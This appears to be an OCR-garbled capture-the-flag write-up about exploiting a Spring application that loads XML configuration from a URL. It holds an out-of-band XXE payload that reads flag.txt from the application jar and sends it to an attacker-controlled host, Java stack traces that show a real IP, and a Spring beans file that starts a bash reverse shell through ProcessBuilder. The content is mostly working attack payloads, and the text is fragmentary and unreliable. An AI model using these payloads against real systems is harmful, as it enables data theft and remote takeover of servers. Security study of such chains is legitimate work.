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<html>

<head>

<{meta charset="UTF-8">

{title>test{/title>

</head>

<body>
<{img src="/getimage?url=https://bbs. pediv. com/upload/attach/202009,/236762_ V76CTIKQCTMCE3G. jpg”>
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org.springframework.beans.factory.BeanDefinitionStoreException: I0Exception parsing XML document from file [/x.xml]; nested exception is java.io.FileNotFoundException: x.xml at vi
sun.reflect. NativeMethodAccessorimplinvoke0O(Native Method) at sun.reflect.NativeMethodAccessorimpl.invoke(NativeMethodAccessorlmpl.java:62) at sun.reflect.DelegatingMethod.
javalang.reflect. Method.invoke(Method java:498) at org.springframework.web.method.support.InvocableHandlerMethod.dolnvoke(InvocableHandlerMethod.java: 197) at
org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:141) at

org.springframework.web.servlet. nvc.method.annotation.ServletinvocableHandlerMethod.invokeAndHandle(ServletinvocableHandlerMethod.java: 106) at
org.springframework.web.servlet mve. method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter java:893) at
org.springframework.web.servlet. mvc.method.annotation.RequestMappingHandlerAdapter.handlelnternal(RequestMappingHandlerAdapter java:807) at
org.springframework.web.servliet. mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) at org.springframework.web.servlet.DispatcherServlet.(
org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServletjava:961) at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.jave
org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898) at javax.servlet. http.HttpServlet.service(HttpServlet.java:626) at org.springframework.web.servlef
Jjavax.servlet.http.HttpServlet.service(HttpServlet.java:733) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) at org.apache.catalina.con
at org.apache.tomcat.websocket.server. WsFilter.doFilter(\WsFilter java:53) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain java:193) at
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain java:166) at org.springframework.web.filter.RequestContextFilter.doFilterinternal(RequestContextFilter ja
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilterjava:119) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java: 166) at org.springframework.web.filter.FormContentFilter.doFilterinternal(FormContentFilter.java:93
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilterjava:119) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain java:166) at org.springframework.web.filter.CharacterEncodingFilter.doFilterinternal(CharacterEncodingF
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilterjava:119) at org.apache.catalina.core ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain java:166) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve java:202) at
org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve java:97) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:542) at
org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:143) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve java:92) at org.apache.cataline
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter java:343) at org.apache.coyote.http11.Http11Processor.service(Http11Processorjava:374) at org.apache.coyote
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<IENTITY % payl SYSTEM "jar:file:///home/vip-demo-0.0.1-SNAPSHOT.jar!/BOOT-INF/classes/flag.txt">
<IENTITY % all "<!IENTITY &#37; send SYSTEM 'XXX://XXX.XXX.XXX.XXX:9997?%payl;' '>">

HyyMbb.xml

<?xml version="1.0" encoding="UTF-8"?>

<IDOCTYPE try[

<IENTITY % int SYSTEM "http://xxX.xxXx.xxX.xxx/e.xml">
%int;

%all;

%send;
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org.springframework.beangfactansBeanafiniti aotign. IQExcention parsing XML document from URL [http://129.204.207.114/HyyMbb.xml]; nes
x:/129.204.207.114:999 ip.xcao.demo.IndexController.config(IndexController.java:40) at sun.reflect.Gener
sun.reflect. DelegatingMet iCGRCCESsOT DL TVORG D eregaungrenoanceessorimpljava:43) at java.lang.reflect.Method.invoke(Method java:498) at
org.springframework.web.method.support. InvocabIeHandIerMethod dolnvoke(InvocableHandlerMethod.java:197) at org.springframework.web.method.sup
org.springframework.web.servlet. nvc.method.annotation.ServletinvocableHandlerMethod.invokeAndHandle(ServletinvocableHandlerMethod.java: 106) at
org.springframework.web.servlet. mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:89
org.springframework.web.servlet. mvc.method.annotation.RequestMappingHandlerAdapter.handlelnternal(RequestMappingHandlerAdapter.java:807) at
org.springframework.web.servlet. nvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) at org.sporingframework.wet
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org.springframework.context.support. AbstractApplicationContext.obtainFreshBeanFactory(AbstractApplicationContext.java:676) at org.springframework.context.support.AbstractApplicationContext.refre
org.springframewaork.context.support.FileSystemXmlApplicationContext.(FileSystemXmlApplicationContext.,java:142) at org.springframework.context.support.FileSystemXmlApplicationConte3t.(FileSy stemeIA IliatlonComext ava: 85 at
vip.xcao.demo.IndexController.config(IndexController.java:34) ... 49 more
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<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"”
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance" xsi:schemalLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/2323 ©0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
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